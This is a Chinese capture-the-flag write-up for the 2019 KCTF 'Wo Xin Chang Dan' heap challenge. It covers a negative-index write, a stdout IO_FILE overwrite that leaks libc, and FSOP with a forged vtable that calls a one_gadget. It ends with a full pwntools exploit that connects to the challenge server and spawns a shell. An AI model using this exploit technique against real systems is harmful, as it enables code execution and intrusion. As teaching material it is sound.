-
-
[原创]2019KCTF Q3 第4题:卧薪尝胆 Writeup
-
2019-9-25 17:53
5145
-
[原创]2019KCTF Q3 第4题:卧薪尝胆 Writeup
卧薪尝胆 Writeup
一道给了libc的菜单题,没有show功能,在程序一开始有个类似于初始化的函数
具体是进行了malloc_hook和free_hook的替换,目的就是让我们无法修改malloc_hook或者free_hook来劫持流程
checksec一下:全保护
漏洞点
1.在edit时对输入的索引没有检查为负数的情况
2.在edit的时候存在off by null
利用思路(Onegadget):
1. 由于程序没有show功能,但我们可以修改IO_FILE结构体(_IO_2_1_stdout)中的
_IO_write_base 来泄露libc基址
先来熟悉一下_IO_2_1_stdout的结构和虚函数表_IO_file_jumps的结构:
本题需要用的指针均已在红框内标识,下面讲一下泄露原理
puts函数的调用链:puts-->
_IO_puts->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_do_write->_IO_new_file_write
_IO_new_file_overflow 源码:
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //!!!size的计算在这里
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
这里可以看到在_IO_do_write函数中,在调试的时候 发现f->_IO_write_ptr - f->_IO_write_base = 0 ,也就是说不会打印出任何信息。 所以我们需要修改_IO_write_base并且小于_IO_write_ptr,那么size不会等于0,以达到泄露的目的
new_do_write 源码:
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终的打印在这里,类似于write函数
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
目标函数是
_IO_SYSWRITE, 为了顺利到达这里, 我们需要让_flags标志满足上述的一些条件
_flags标志的一些宏:
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
那就可以得到_flags需要满足的条件:
_flags = 0xfbad0000
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
由于在编辑时我们索引输入为‘-6’,就可以修改stdout,那么我们payload的构造如下,如此便能泄露libc基址
edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = p.recv(0x20)
leak = leak[0x18:]
libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"]
2. FSOP的利用: FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,那么我们可以修改_chain指向伪造的IO_FILE结构体 ,在伪造的IO_FILE结构中,vtable虚函数表也由我们自定义,将表中第四项__overflow修改为one_gadget地址
FSOP的具体利用可参考资料:
https://xz.aliyun.com/t/5508#toc-2(
IO FILE 之劫持vtable及FSOP
)
1.
修改_chain指向伪造的IO_FILE结构体edit('-6', p64(0xfbad1800) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(0)*4 +
p64(fake_IO))
2.在伪造的结构体中要绕过检查,即fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base ,构造的payload如下:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
fake_IO_FILE:
edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt))
fake_vtable:
edit('1', p64(0)*3 + p64(shell))
3.哪些函数会触发
_IO_flush_all_lockp?
①libc执行abort函数时 ②程序执行exit函数时 ③程序从main函数返回时
来看一下exit函数的栈回溯:
_IO_flush_all_lockp ()
_IO_cleanup ()
__run_exit_handlers ()
__GI_exit ()
main ()
__libc_start_main ()
_start ()
3.退出程序会调用exit(0),最终触发_IO_flush_all_lockp,绕过检查,调用_IO_overflow时执行one_gadget,即可getshell!
附上完整的exp:
from pwn import *
def malloc(size):
p.recvuntil('>>')
p.sendline('1')
p.recvuntil('Input size : ')
p.sendline(str(size))
def edit(id,data):
p.recvuntil('>>')
p.sendline('3')
p.recvuntil('Input idx : ')
p.sendline(str(id))
p.recvuntil('Input text : ')
p.sendline(data)
def free(id):
p.recvuntil('>>')
p.sendline('2')
p.recvuntil('Input idx : ')
p.sendline(str(id))
def exit():
p.recvuntil('>>')
p.sendline('4')
def wait(size):
p.recvuntil('>>')
p.sendline('1')
#context.log_level = 'debug'
#p = process('./pwn')
p = remote('154.8.174.214',10001)
libc = ELF('libc-2.23.so')
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = p.recv(0x20)
leak = leak[0x18:]
libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"]
print hex(libc_base)
shell = libc_base + gadgets[1]
print hex(shell)
malloc(0x200)
p.recvuntil("heap 0 : 0x")
fake_IO = int(p.recv(12),16)-0x10
print hex(fake_IO)
malloc(0x200)
p.recvuntil("heap 1 : 0x")
fake_vt = int(p.recv(12),16)
print hex(fake_vt)
edit('-6', p64(0xfbad1800) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(0)*4 +
p64(fake_IO))
edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt))
edit('1', p64(0)*3 + p64(shell))
exit()
p.interactive()
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2019-9-25 23:47
被binarymen编辑
,原因: